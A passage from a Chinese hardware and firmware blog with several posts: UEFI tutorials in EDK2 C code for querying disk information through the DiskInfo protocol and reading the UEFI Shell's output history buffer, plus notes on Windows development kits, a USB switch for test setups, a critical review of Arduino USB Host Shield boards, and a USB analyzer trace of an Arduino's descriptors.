Step to UEFI (106)取得AHCI SATA 的序列号

继续前面的话题,现在尝试直接输出AHCI HDD 的信息。资料上标明AHCI和IDE HDD输出的信息格式是相同的,所以这里会一同处理。

原理上:找到 DISK INFO PROTOCOL 后,判断 GUID 是否为 IDE和 AHCI 的,如果是,那么用Identify 来取得型号信息。返回构体EFI_ATAPI_IDENTIFY_DATA,具体定义在下面这个文件中:

\EdkCompatibilityPkg\Foundation\Framework\Protocol\IdeControllerInit\IdeControllerInit.h 中。

typedef struct {
    UINT16  config;             // General Configuration
    UINT16  obsolete_1;
    UINT16  specific_config;
    UINT16  obsolete_3;   
    UINT16  retired_4_5[2];
    UINT16  obsolete_6;   
    UINT16  cfa_reserved_7_8[2];
    UINT16  retired_9;
    CHAR8   SerialNo[20];       // ASCII 
    UINT16  retired_20_21[2];
    UINT16  obsolete_22;
    CHAR8   FirmwareVer[8];     // ASCII 
    CHAR8   ModelName[40];      // ASCII 
    UINT16  multi_sector_cmd_max_sct_cnt;
    UINT16  reserved_48;
    UINT16  capabilities_49;
    UINT16  capabilities_50;
    UINT16  obsolete_51_52[2];   
    UINT16  field_validity;
    UINT16  obsolete_54_58[5];
    UINT16  mutil_sector_setting;
    UINT16  user_addressable_sectors_lo;
    UINT16  user_addressable_sectors_hi;
    UINT16  obsolete_62;
    UINT16  multi_word_dma_mode;
    UINT16  advanced_pio_modes;
    UINT16  min_multi_word_dma_cycle_time;
    UINT16  rec_multi_word_dma_cycle_time;
    UINT16  min_pio_cycle_time_without_flow_control;
    UINT16  min_pio_cycle_time_with_flow_control;
    UINT16  reserved_69_74[6];
    UINT16  queue_depth;
    UINT16  reserved_76_79[4];
    UINT16  major_version_no;
    UINT16  minor_version_no;
    UINT16  cmd_set_support_82;
    UINT16  cmd_set_support_83;
    UINT16  cmd_feature_support;
    UINT16  cmd_feature_enable_85;
    UINT16  cmd_feature_enable_86;
    UINT16  cmd_feature_default;
    UINT16  ultra_dma_select;
    UINT16  time_required_for_sec_erase;
    UINT16  time_required_for_enhanced_sec_erase;
    UINT16  current_advanced_power_mgmt_value;
    UINT16  master_pwd_revison_code;
    UINT16  hardware_reset_result;
    UINT16  current_auto_acoustic_mgmt_value;
    UINT16  reserved_95_99[5];
    UINT16  max_user_lba_for_48bit_addr[4];
    UINT16  reserved_104_126[23];
    UINT16  removable_media_status_notification_support;
    UINT16  security_status;
    UINT16  vendor_data_129_159[31];
    UINT16  cfa_power_mode;
    UINT16  cfa_reserved_161_175[15];
    UINT16  current_media_serial_no[30];
    UINT16  reserved_206_254[49];
    UINT16  integrity_word;
} EFI_ATAPI_IDENTIFY_DATA;

 

代码如下:

#include  <Uefi.h>
#include  <Library/UefiLib.h>
#include  <Library/ShellCEntryLib.h>
#include  <Library/ShellCEntryLib.h>
#include  <Protocol/DiskInfo.h>
#include  <Library/BaseMemoryLib.h>
#include  <Protocol/IdeControllerInit.h>

extern EFI_BOOT_SERVICES         *gBS;

extern EFI_HANDLE				 gImageHandle;

EFI_GUID gEfiDiskInfoProtocolGuid = { 0xD432A67F, 0x14DC, 0x484B, 
					{ 0xB3, 0xBB, 0x3F, 0x02, 0x91, 0x84, 0x93, 0x27 }};
EFI_GUID gEfiDiskInfoAhciInterfaceGuid  = { 0x9e498932, 0x4abc, 0x45af, 
					{ 0xa3, 0x4d, 0x02, 0x47, 0x78, 0x7b, 0xe7, 0xc6 }};
EFI_GUID gEfiDiskInfoIdeInterfaceGuid   = { 0x5E948FE3, 0x26D3, 0x42B5, 
					{ 0xAF, 0x17, 0x61, 0x02, 0x87, 0x18, 0x8D, 0xEC }};

int
EFIAPI
main (
  IN int Argc,
  IN CHAR16 **Argv
  )
{
    EFI_STATUS Status;
    UINTN HandleIndex, NumHandles;
    EFI_HANDLE *ControllerHandle = NULL;
	EFI_DISK_INFO_PROTOCOL	*DiskInfoProtocol;
	UINT32                       BufferSize;	
    EFI_ATAPI_IDENTIFY_DATA      IdentifyData;	
	UINT32				i;
	
    Status = gBS->LocateHandleBuffer(
            ByProtocol,
            &gEfiDiskInfoProtocolGuid,
            NULL,
            &NumHandles,
            &ControllerHandle);
	
    for (HandleIndex = 0; HandleIndex < NumHandles; HandleIndex++) {
        Status = gBS->OpenProtocol(
                ControllerHandle[HandleIndex],
                &gEfiDiskInfoProtocolGuid, 
                (VOID**)&DiskInfoProtocol,
                gImageHandle,
                NULL,
                EFI_OPEN_PROTOCOL_GET_PROTOCOL
                );		
        if (EFI_ERROR(Status)) {
            continue;
        } 

		//We only deal with AHCI and IDE
		if (!(CompareGuid (
				&DiskInfoProtocol->Interface, 
				&gEfiDiskInfoAhciInterfaceGuid)||
			(CompareGuid (
				&DiskInfoProtocol->Interface,
			    &gEfiDiskInfoIdeInterfaceGuid)
			))) {	
				continue;
			}	

		BufferSize   = sizeof (EFI_ATAPI_IDENTIFY_DATA);
		Status = DiskInfoProtocol->Identify (
                         DiskInfoProtocol,
                         &IdentifyData,
                         &BufferSize
                         );			
		
		Print(L"Model Name :");
		for (i=0;i<40;i=i+2) {
			Print(L"%c%c",
				IdentifyData.ModelName[i+1],
				IdentifyData.ModelName[i]);
		}
		Print(L"\n");
	}

  return EFI_SUCCESS;
}

 

在 KabyLake HDK 板子上运行上述代码,结果如下:
ahci1

细心的朋友可能注意到,输出并不是直接输出序列号,而是有一个顺序上的调整:
Print(L”%c%c”, IdentifyData.ModelName[i+1], IdentifyData.ModelName[i]);
原因是,刚开始我试验的是直接顺序输出,但是发现结果是下面这样的:
ahci2

开始以为是 CHAR 对 CHAR16转换上的问题,后来查阅资料【参考1】,发现这里的行医比较特别。排列是 2/1/4/3/6/5……. 这样的:
ahci3

所以,修改代码手工做一次反转就可以了。
完整的代码下载:
diskinfoahci

参考:
1. http://www.t13.org/Documents/UploadedDocuments/docs2013/d2161r5-ATAATAPI_Command_Set_-_3.pdf

Windows常见开发包

https://msdn.microsoft.com/windows/hardware/commercialize/kits-and-tools-overview

Windows SDK for Windows 10 用来编写 Application的头文件库文件和工具 Windows SDK for Windows 10 contains headers, libraries, and tools you can use when you create apps that run on Windows operating systems.

WDK 10 用来编写Driver的头文件库文件和工具 WDK 10 contains the tools to build, test, debug, and deploy drivers for Windows 10.

Enterprise WDK (EWDK) 将上面2个放在一起的 The Enterprise WDK (EWDK) is a kit that large organizations can use as an alternative to downloading and installing the SDK and WDK individually on each computer.

Windows symbols 符号文件,用来调试 Windows的 Symbol files make it easier to debug your code.

Windows Hardware Lab Kit (HLK) for Windows 10 用来测试运行 Windows 设备的工具 Windows Hardware Lab Kit (HLK) for Windows 10

HLK supplemental test content 测试多媒体时可能需要的音频视频文件 Some tests, like graphics and multimedia tests, require additional files for testing.

ADK for Windows 10 (Windows Assessment and Deployment Kit) OEM和OEM用来制作安装镜像的工具
Download the Windows ADK to install tools and documentation for OEMs and ODMs to customize Windows 10 images, assess the quality and performance of systems or components, and to deploy Windows operating systems to new computers.

A device for UEFI Application testing

In the last posts, as the NT32 environment has too much limitations. We have to test my applications on the real system. I use a USB disk for these kinds of thing. After compiling, I have to copy my application to this disk. Then unplug and plug again to the testing system (I use Kabylake HDK now). After that I can test my application on the real system. If some bugs are found, I have to repeat this action. As you can see it’s really inconvenience.
For this purpose, I begin to study the “matrix switch IC” carefully. After all, I find that the common switching IC in the market could only support 300Mhz. While the USB 2.0 device requires 480Mhz. No one know what will happen if I make one. It’s not a good idea for me to DIY. At last, I begin to search the solution on Taobao.com. Soon, I find this one:

su

It has a mechanical switcher inside. And the most important thing: it’s very cheap. Only 7.8 Yuan (less than $2).
I buy one USB switcher and 2 USB cables (1.5m for 3Yuan).
The usage is that:
1st plug a USB disk in this switcher.
2nd Every time the complication is completed, copy the application to this USB Disk.
3rd Switch to the working PC and make your experiment in real system.

I have used this device for a period, it works well.

Step to UEFI (109)显示Shell 下面的历史信息

之前有网友询问过一个问题:他的程序调用了另外一个 Application,希望能够获得另外那个 Application的运行结果。最近,偶然看到了 Shell 下记录历史信息的功能,具体头文件在\ShellPkg\Application\Shell\ConsoleLogger.h 中有定义。

typedef struct _CONSOLE_LOGGER_PRIVATE_DATA{
  UINTN                             Signature;
  EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL   OurConOut;        ///< the protocol we installed onto the system table
  EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL   *OldConOut;       ///< old protocol to reinstall upon exiting
  EFI_HANDLE                        OldConHandle;     ///< old protocol handle
  UINTN                             ScreenCount;      ///< How many screens worth of data to save
  CHAR16                            *Buffer;          ///< Buffer to save data
  UINTN                             BufferSize;       ///< size of buffer in bytes

                                                      //  start row is the top of the screen
  UINTN                             OriginalStartRow; ///< What the originally visible start row was
  UINTN                             CurrentStartRow;  ///< what the currently visible start row is

  UINTN                             RowsPerScreen;    ///< how many rows the screen can display
  UINTN                             ColsPerScreen;    ///< how many columns the screen can display

  INT32                             *Attributes;      ///< Buffer for Attribute to be saved for each character
  UINTN                             AttribSize;       ///< Size of Attributes in bytes

  EFI_SIMPLE_TEXT_OUTPUT_MODE       HistoryMode;      ///< mode of the history log
  BOOLEAN                           Enabled;          ///< Set to FALSE when a break is requested.
  UINTN                             RowCounter;       ///< Initial row of each print job.
} CONSOLE_LOGGER_PRIVATE_DATA;

 

这个功能实现的方法是,在 Shell 启动的时,将系统中的EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL 题材换成重新定义的,这样每次Application的输出都会被Shell截获存放在一个Buffer中,有需要的时候,再从 Buffer中取出(例如:使用 PageUp/PageDown 查看)。
对于我们来说,首先找到 Shell 的 Handle,之后枚举这个 Handle 上的全部protocol,找到SimpleTextOutProtocol,再根据找到的这个Protocol的偏移,反推算出CONSOLE_LOGGER_PRIVATE_DATA,最后就能访问到我们需要的CONSOLE_LOGGER_PRIVATE_DATA->buffer了。
代码如下,为了简单明了,我只显示Buffer最前面4行

#include  <Uefi.h>
#include  <Library/UefiLib.h>
#include  <Library/ShellCEntryLib.h>
#include <Library/BaseMemoryLib.h>
#include <Library/MemoryAllocationLib.h>

extern EFI_BOOT_SERVICES         *gBS;
extern EFI_SYSTEM_TABLE			 *gST;
extern EFI_RUNTIME_SERVICES 	 *gRT;

extern EFI_HANDLE				 gImageHandle;

#define CR(Record, TYPE, Field, TestSignature)                                              \
    BASE_CR (Record, TYPE, Field)
	
typedef struct _CONSOLE_LOGGER_PRIVATE_DATA{
  UINTN                             Signature;
  EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL   OurConOut;        ///< the protocol we installed onto the system table
  EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL   *OldConOut;       ///< old protocol to reinstall upon exiting
  EFI_HANDLE                        OldConHandle;     ///< old protocol handle
  UINTN                             ScreenCount;      ///< How many screens worth of data to save
  CHAR16                            *Buffer;          ///< Buffer to save data
  UINTN                             BufferSize;       ///< size of buffer in bytes

                                                      //  start row is the top of the screen
  UINTN                             OriginalStartRow; ///< What the originally visible start row was
  UINTN                             CurrentStartRow;  ///< what the currently visible start row is

  UINTN                             RowsPerScreen;    ///< how many rows the screen can display
  UINTN                             ColsPerScreen;    ///< how many columns the screen can display

  INT32                             *Attributes;      ///< Buffer for Attribute to be saved for each character
  UINTN                             AttribSize;       ///< Size of Attributes in bytes

  EFI_SIMPLE_TEXT_OUTPUT_MODE       HistoryMode;      ///< mode of the history log
  BOOLEAN                           Enabled;          ///< Set to FALSE when a break is requested.
  UINTN                             RowCounter;       ///< Initial row of each print job.
} CONSOLE_LOGGER_PRIVATE_DATA;

#define CONSOLE_LOGGER_PRIVATE_DATA_FROM_THIS(a) CR (a, CONSOLE_LOGGER_PRIVATE_DATA, OurConOut, CONSOLE_LOGGER_PRIVATE_DATA_SIGNATURE)


int
EFIAPI
main (
  IN int Argc,
  IN CHAR16 **Argv
  )
{
	EFI_STATUS	Status;

	EFI_HANDLE	*HandleBuffer=NULL;
	UINTN		BufferSize=0,i;
  
	EFI_HANDLE	TheHandle;
	EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *Dev;
	
	CONSOLE_LOGGER_PRIVATE_DATA       *ConsoleInfo;
	
	// Look up all gEfiShellProtocolGuid in the platform
	Status = gBS->LocateHandle(
		ByProtocol,
		&gEfiShellProtocolGuid,
		NULL,
		&BufferSize,
		HandleBuffer);
	if (Status == EFI_BUFFER_TOO_SMALL) {
		HandleBuffer = AllocateZeroPool(BufferSize);
		if (HandleBuffer == NULL) {
			return (EFI_BUFFER_TOO_SMALL);}
		//Get all the gEfiShellProtocolGuid Protocol in the system
		Status = gBS->LocateHandle(
			ByProtocol,
			&gEfiShellProtocolGuid,
			NULL,
			&BufferSize,
			HandleBuffer);
	}
	
	//Print(L"%d handles have been found!\n",(BufferSize / sizeof(EFI_HANDLE)));	

	if (BufferSize==0) {
			Print(L"No gEfiShellProtocolGuid found!\n"); 
			return EFI_SUCCESS; }
			
	//In fact there will be only one in system (in the Shell image)
	TheHandle=HandleBuffer[0];
	FreePool(HandleBuffer);

	//Get SimpleTextOutProtocol used by Shell
	Status = gBS->HandleProtocol (
					TheHandle,
					&gEfiSimpleTextOutProtocolGuid,
					&Dev);
	if (EFI_ERROR(Status))	{
		Print(L"Error when opening SimpleTextOutProtocol\n");
		return EFI_SUCCESS;
	}

	ConsoleInfo = CONSOLE_LOGGER_PRIVATE_DATA_FROM_THIS(Dev);	
	
	for (i=0;i<(ConsoleInfo->ColsPerScreen+2)*4;i++) {
		if (ConsoleInfo->Buffer[i] != 0) {Print(L"%c",ConsoleInfo->Buffer[i]);}
	}
	Print(L"\n");
	
	return EFI_SUCCESS;
}

 

运行结果,这是NT32模拟环境中的运行结果。同样我还在 Intel ApolloLake 上进行了实验,结果相同。

hs

完整的代码下载:

logbuffer

编译后的Application下载(IA32和X64)

lb

不要购买白色版本的USB Host Shield

前几日入手了新版的 USB Host Shield,今天拿到手了,拆开包装大吃一惊,发现有下面几个问题:
1. USB的方向变了,之前是和 UNO板载USB相反的方向,现在变成相同的方向,这样做的好处是方便整体设计,只要在一面开口即可(这个是 USB Host Shield 2.0 设计 升级的结果)。但是如果你之前设计过盒子,那么换Shield之后只能重新设计了;
image002
2. Shield上带 ICSP脚座(下图黑色方块),看起来这个Shield应该可以直接兼容Leonardo的板子(但是有可能要 rework);
3. 引脚选择的是最便宜的那种,很长,很软,很歪,插拔不了几次。断了一根的话,板子基本上就废了,真正使用的话恐怕只能一直固定着,尽量不插拔;
image004
4. 还是引脚的问题,很长,插入之后会长出来一截,总让人觉得没有插进去;
image006

更悲剧的是,入手之后上电无法使用,使用很早之前USB Host Shield 1.0的测试代码进行最基本的SPI 测试都无法通过。板子上也没有任何跳线,严重怀疑需要Rework一些位置才能工作起来。
因为是新买的,所以最后还是直接退货了事。因此,建议有需求的玩家,慎重选择这种白色的板子,为了方便省事,不妨直接选用DFRobot的板子。价格差不多是这种白色板子的3倍(110元左右),整体用料比较好,资料全面,更可靠(产品本身,不是服务)。

写完上面的话之后差不多一周,我入手了 DFRobot 的板子,广告是下面这样的,我用过两次他们家的板子,感觉用料非常扎实,工作也很好。售价 110,远比前面的贵。
image008
拿到手又是大吃一惊,和广告上的差别也太大了。
image010

除了不是彩色的插座之外,针脚同样也是之前买的那种很长,又非常软的。根本不值这个价格啊!同时还散发着浓烈的味道。我只听说过做高仿的古董,为了增加年代感会泡在粪坑中一年,但是从来没听说过电子产品也要这样处理。
毫无疑问的再次退货。
后来,极客工坊的togke(弘毅) 讲,国内的这种插接件其实挺难买的。原因是质量只有用了一段才知道,但是价格是很明显的。这样的小配件越是便宜出货量越大,结果造成了劣币驱逐良币,在市场上很难买到质量好的排针。而对于类似富士康这样的大公司来说,他们只愿意面对“大型客户”。于是,市面上无法买到合适质量的排针了。
又过了几次,我忽然想起来为什么之前买到的 USB Host Shield没有这样的问题?那块板子着实用了快2年。仔细端详,真相只有一个:在设计上似乎考虑到了这样的问题错开了一截,这样既可兼容原来的设计,又不会有选择排针的困惑。
image012
查一下原始的设计文档【参考1】如下
image014
可以看到原本是没有这样的设计,但是通过简单的修改,让板子更加适应国情。
从整个 Arduino 的产品来看,国内的作品水平还比较低,绝大多数卖家都是凭借“价格优势”来维持生存的。所有的产品也都以仿造为主。我不反对仿造之类的,但是单纯的一直如此是不会有出路的。

ps:最后我甚至怀疑买到的 DFRobot的是假货,于是我问了淘宝上全部售卖这个产品的卖家,得到的答案都是“只有这种,没有彩色排针的。”

参考:
1. https://www.sparkfun.com/products/9947

Step to UEFI (105)DiskinfoProtocol

这次介绍一下用来取得系统上硬盘信息的 Protocol: EFI_DISK_INFO_PROTOCOL。

在\MdePkg\Include\Protocol\DiskInfo.h 有他的原型:

///
/// Forward declaration for EFI_DISK_INFO_PROTOCOL
///
typedef struct _EFI_DISK_INFO_PROTOCOL  EFI_DISK_INFO_PROTOCOL;
///
/// The EFI_DISK_INFO_PROTOCOL provides controller specific information.
///
struct _EFI_DISK_INFO_PROTOCOL {
  ///
  /// A GUID that defines the format of buffers for the other member functions 
  /// of this protocol.
  ///
  EFI_GUID                  Interface;
  ///
  /// Return the results of the Inquiry command to a drive in InquiryData. Data
  /// format of Inquiry data is defined by the Interface GUID.
  ///
  EFI_DISK_INFO_INQUIRY     Inquiry;
  ///
  /// Return the results of the Identify command to a drive in IdentifyData. Data
  /// format of Identify data is defined by the Interface GUID.
  ///
  EFI_DISK_INFO_IDENTIFY    Identify;
  ///
  /// Return the results of the Request Sense command to a drive in SenseData. Data
  /// format of Sense data is defined by the Interface GUID.
  ///
  EFI_DISK_INFO_SENSE_DATA  SenseData;
  ///
  /// Specific controller. 
  ///
  EFI_DISK_INFO_WHICH_IDE   WhichIde;
};

 

更详细的介绍可以在 PI Specification 1.4 上找到。
对于不同类型的设备,比如 IDE 和 USB ,返回的数据格式是不同的。枚举到这个 PROTOCOL 之后需要检查EFI_GUID Interface 通过不同的GUID得知当前设备的类型。
下面先编写一个简单的 Demo,检查 GUID ,判断当前设备的类型:

#include  <Uefi.h>
#include  <Library/UefiLib.h>
#include  <Library/ShellCEntryLib.h>
#include  <Library/ShellCEntryLib.h>
#include  <Protocol/DiskInfo.h>
#include  <Library/BaseMemoryLib.h>

extern EFI_BOOT_SERVICES         *gBS;

extern EFI_HANDLE				 gImageHandle;

EFI_GUID gEfiDiskInfoProtocolGuid = { 0xD432A67F, 0x14DC, 0x484B, 
					{ 0xB3, 0xBB, 0x3F, 0x02, 0x91, 0x84, 0x93, 0x27 }};

EFI_GUID gEfiDiskInfoIdeInterfaceGuid   = { 0x5E948FE3, 0x26D3, 0x42B5, 
					{ 0xAF, 0x17, 0x61, 0x02, 0x87, 0x18, 0x8D, 0xEC }};
EFI_GUID gEfiDiskInfoScsiInterfaceGuid  = { 0x08F74BAA, 0xEA36, 0x41D9, 
					{ 0x95, 0x21, 0x21, 0xA7, 0x0F, 0x87, 0x80, 0xBC }};
EFI_GUID gEfiDiskInfoUsbInterfaceGuid   = { 0xCB871572, 0xC11A, 0x47B5, 
					{ 0xB4, 0x92, 0x67, 0x5E, 0xAF, 0xA7, 0x77, 0x27 }};
EFI_GUID gEfiDiskInfoAhciInterfaceGuid  = { 0x9e498932, 0x4abc, 0x45af, 
					{ 0xa3, 0x4d, 0x02, 0x47, 0x78, 0x7b, 0xe7, 0xc6 }};
EFI_GUID gEfiDiskInfoNvmeInterfaceGuid  = { 0x3ab14680, 0x5d3f, 0x4a4d, 
					{ 0xbc, 0xdc, 0xcc, 0x38, 0x0, 0x18, 0xc7, 0xf7 }};
EFI_GUID gEfiDiskInfoUfsInterfaceGuid   = { 0x4b3029cc, 0x6b98, 0x47fb, 
					{ 0xbc, 0x96, 0x76, 0xdc, 0xb8, 0x4, 0x41, 0xf0 }};
int
EFIAPI
main (
  IN int Argc,
  IN CHAR16 **Argv
  )
{
    EFI_STATUS Status;
    UINTN HandleIndex, NumHandles;
    EFI_HANDLE *ControllerHandle = NULL;
	EFI_DISK_INFO_PROTOCOL	*DiskInfoProtocol;
	
    Status = gBS->LocateHandleBuffer(
            ByProtocol,
            &gEfiDiskInfoProtocolGuid,
            NULL,
            &NumHandles,
            &ControllerHandle);
	
    for (HandleIndex = 0; HandleIndex < NumHandles; HandleIndex++) {
        Status = gBS->OpenProtocol(
                ControllerHandle[HandleIndex],
                &gEfiDiskInfoProtocolGuid, 
                (VOID**)&DiskInfoProtocol,
                gImageHandle,
                NULL,
                EFI_OPEN_PROTOCOL_GET_PROTOCOL
                );		
        if (EFI_ERROR(Status)) {
            continue;
        } 
		
		Print(L"Device[%d] GUID: %g",
				HandleIndex,
				DiskInfoProtocol->Interface);
		if (CompareGuid (
				&DiskInfoProtocol->Interface, 
			&gEfiDiskInfoIdeInterfaceGuid)) {	
				Print(L" IDE HDD\n");
			}	
		if (CompareGuid (
				&DiskInfoProtocol->Interface, 
			&gEfiDiskInfoScsiInterfaceGuid)) {	
				Print(L" Scsi HDD\n");
			}	
		if (CompareGuid (
				&DiskInfoProtocol->Interface, 
			&gEfiDiskInfoUsbInterfaceGuid)) {	
				Print(L" USB HDD\n");
			}	
		if (CompareGuid (
				&DiskInfoProtocol->Interface, 
			&gEfiDiskInfoAhciInterfaceGuid)) {	
				Print(L" AHCI HDD\n");
			}	
		if (CompareGuid (
				&DiskInfoProtocol->Interface, 
			&gEfiDiskInfoNvmeInterfaceGuid)) {	
				Print(L" NVME HDD\n");
			}	
		if (CompareGuid (
				&DiskInfoProtocol->Interface, 
			&gEfiDiskInfoUfsInterfaceGuid)) {	
				Print(L" Ufs HDD\n");
			}				
	}

  return EFI_SUCCESS;
}

 

上述代码在UDK2014中编译通过,但是无法在 NT32环境下运行。于是在实体机KabyLake HDK 上实验, 板子上挂载了一个 SATA HDD 一个eMMC和两个USB Disk。运行结果如下:

dit

可以看出,当前的SATA 是AHCI 模式。此外, eMMC 设备是无法被识别出来的,也许后面会扩展到这种设备吧。
完整的代码下载:

diskinfotest

Step to UEFI Tips :介绍 BaseMemoryLib

最近在写代码时,需要用到一些关于 GUID 处理的函数。偶然间看到了 BaseMemoryLib.h 中有一些,顺便整理了一下这个库提供的函数。完整的头文件在 \MdePkg\Include\Library\BaseMemoryLib.h .

 

CopyMem   内存拷贝函数

SetMem       用8Bit来进行内存填充

SetMem16用 16Bit来进行内存填充

SetMem32用 32Bit来进行内存填充

SetMem64用 64Bit来进行内存填充

SetMemN  用 UINTN 来进行内存填充(UINTN在IA32下和 X64下大小不同)

ZeroMem  对指定内存清零

CompareMem  比较内存函数

ScanMem8   在内存中搜索一个 8Bit的指定值

ScanMem16   在内存中搜索一个 16Bit的指定值

ScanMem32   在内存中搜索一个 32Bit的指定值

ScanMem64   在内存中搜索一个 64Bit的指定值

ScanMemN     在内存中搜索UINTN大小的指定值

CopyGuid       复制一个 GUID 到另外一个 GUID中

CompareGuid  比较2个 GUID

ScanGuid         在内存中搜索一个给定的 GUID

IsZeroGuid       检查一个 GUID是否为0

IsZeroBuffer     检查一段内存是否为为全0

 

 

 

好玩的电子设备(2)

这次介绍一下USB逻辑分析仪。USB协议是比较复杂的通讯协议,使用差分信号进行传输,速度很快,编码上采用 NRZI 【参考1】,这样导致根本无法使用示波器之类的进行Debug (速度快,数据多,一直在变化)。因此,要想知道线路上究竟跑了什么数据只能使用专用的逻辑分析仪进行分析。下面是 Lecroy 出品的 Advisor T3 型USB分析仪,可以进行USB 2.0/3.0 协议的分析(不支持 USB Type C ,  有专门额外的设备可以用来分析这个协议)。

下面是设备的正面,A口和B口分别连接在设备和主机上,对于USB HOST 和 Salve来说是透明的。

image001

这是背面的照片,捕获的数据会通过这个接口输出。这是一个2.0的接口,因为内部存储空间有限,这个设备不适合长期抓取大量的数据。

image002

下面尝试抓取 Arduino USB 串口(16U2)的数据,我们先编写一个简单的代码,一直向串口输出字符串:

 

void setup() {

  // put your setup code here, to run once:

   Serial.begin(9600);

}



void loop() {

  // put your main code here, to run repeatedly:

  Serial.println("www.lab-z.com");

  delay(5000);

}

 

启动工作机上的逻辑分析仪软件之后就可以开始抓取数据了,这是软件界面

image003

 

image004

抓取的过程是:

  1. 开始记录
  2. 插入 Arduino UNO
  3. 打开串口工具记录
  4. 从串口工具对 Arduino 发送数据

 

第一步:设置设备的地址,这里可以看到分配给 Arduino 的USB地址是 0x0F

image005

第二步:HOST要求设备送出 Device Descriptor

 

REQUEST SUMMARY

Setup Data 80 06 00 01 00 00 12 00
Direction Device-to-host
Type Standard
Recipient Device
bRequest GET_DESCRIPTOR
wValue DEVICE
wIndex 0x0000
wLength 0x0012

 

DECODING INFORMATION

 

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bRequest   8   8   GET_DESCRIPTOR   0x06   bRequest HexVal: 0x06
  wValue   16   16   DEVICE type   0x0100   Type of Descriptor
  wIndex   16   32   0x0000   0x0000   index info

DEVICE Descriptor

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bLength   8   0    0x12   0x12   Descriptor size is 18 bytes
  bDescriptorType   8   8    0x01   0x01   DEVICE Descriptor Type
  bcdUSB   16   16    0x0110   0x0110   USB Specification version 1.10
  bDeviceClass   8   32    0x02   0x02   The device belongs to the Communication Device/Interface Class
  bDeviceSubClass   8   40    0x00   0x00   Subclass 0x00 not defined
  bDeviceProtocol   8   48    0x00   0x00   The device uses the No class specific protocol required Protocol
  bMaxPacketSize0   8   56    0x08   0x08   Maximum packet size for endpoint zero is 8
  idVendor   16   64    0x2341   0x2341   Vendor ID is 9025: No Company Matches Id
  idProduct   16   80    0x0043   0x0043   Product ID is 67
  bcdDevice   16   96    0x0001   0x0001   The device release number is 0.01
  iManufacturer   8   112    0x01   0x01   The manufacturer string descriptor index is 1
  iProduct   8   120    0x02   0x02   The product string descriptor index is 2
  iSerialNumber   8   128    0xDC   0xDC   The serial number string descriptor index is 220
  bNumConfigurations   8   136    0x01   0x01   The device has 1 possible configurations

 

第三步,上面的描述符提到这个设备有1个 Configuration Descriptor, 主机要求设备送出 Configuration Descriptor

image006

REQUEST SUMMARY

Setup Data 80 06 00 02 00 00 FF 00
Direction Device-to-host
Type Standard
Recipient Device
bRequest GET_DESCRIPTOR
wValue CONFIGURATION, Index 0
wIndex 0x0000
wLength 0x00FF

 

DECODING INFORMATION

 

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bRequest   8   8   GET_DESCRIPTOR   0x06   bRequest HexVal: 0x06
  wValue   16   16   CONFIGURATION type, Index 0   0x0200   Type of Descriptor
  wIndex   16   32   0x0000   0x0000   index info

CONFIGURATION Descriptor (9 bytes)

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bLength   8   0    0x09   0x09   Descriptor size is 9 bytes
  bDescriptorType   8   8    0x02   0x02   CONFIGURATION Descriptor Type
  wTotalLength   16   16    0x003E   0x003E   The total length of data for this configuration is 62. This includes the combined length of all the descriptors returned Warning : The Value of wTotalLength is not equal to real length
  bNumInterfaces   8   32    0x02   0x02   This configuration supports 2 interfaces
  bConfigurationValue   8   40    0x01   0x01   The value 1 should be used to select this configuration
  iConfiguration   8   48    0x00   0x00   The device doesn’t have the string descriptor describing this configuration
  bmAttributes   8   56    0xC0   0xC0   Configuration characteristics : Bit 7: Reserved (set to one) 1 Bit 6: Self-powered 1 Bit 5: Remote Wakeup 0
  bMaxPower   8   64    0x32   0x32   Maximum power consumption of the device in this configuration is 100 mA

INTERFACE Descriptor (9 bytes)

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bLength   8   72    0x09   0x09   Descriptor size is 9 bytes
  bDescriptorType   8   80    0x04   0x04   INTERFACE Descriptor Type
  bInterfaceNumber   8   88    0x00   0x00   The number of this interface is 0.
  bAlternateSetting   8   96    0x00   0x00   The value used to select the alternate setting for this interface is 0
  bNumEndpoints   8   104    0x01   0x01   The number of endpoints used by this interface is 1 (excluding endpoint zero)
  bInterfaceClass   8   112    0x02   0x02   The interface implements the Communication Device/Interface class
  bInterfaceSubClass   8   120    0x02   0x02   The interface implements the Abstract Control Model Subclass
  bInterfaceProtocol   8   128    0x01   0x01   The interface uses the Common AT commands Protocol
  iInterface   8   136    0x00   0x00   The device doesn’t have a string descriptor describing this iInterface

Communication Class Specific INTERFACE Descriptor (5 bytes)

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bLength….   8   144    0x05   0x05   Size of the descriptor, in bytes
  bDescriptorType   8   152    0x24   0x24   CS_INTERFACE Descriptor Type
  bDescriptorSubType   8   160    0x00   0x00   Header Funtional Descriptor Subtype
  bcdCDC   16   168    0x1001   0x1001   USB Class Definitions for Communications the Communication specification version 10.01

Communication Class Specific INTERFACE Descriptor (4 bytes)

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bLength….   8   184    0x04   0x04   Size of the descriptor, in bytes
  bDescriptorType   8   192    0x24   0x24   CS_INTERFACE Descriptor Type
  bDescriptorSubType   8   200    0x02   0x02   Abstract Control Management Functional Descriptor Subtype
  bmCapabilities   8   208    0x06   0x06 Bit 0: Whether device supports the request combination of Set_Comm_Feature, Clear_Comm_Feature, and Get_Comm_Feature 0
Bit 1: Whether device supports the request combination of Set_Line_Coding, Set_Control_Line_State, Get_Line_Coding, and the notification Serial_State 1
Bit

Communication Class Specific INTERFACE Descriptor (5 bytes)

  Field     Length (bits)     Offset (bits)     Decoded     Hex Value                                                       Description                                                    
  bLength….   8   216    0x05   0x05   Size of the descriptor, in bytes
  bDescriptorType   8   224    0x24   0x24   CS_INTERFACE Descriptor Type
  bDescriptorSubType   8   232    0x06   0x06   Union Functional Descriptor Subtype
  bControlInterface   8   240    0x00   0x00   The interface number of the Communications or Data Class interface
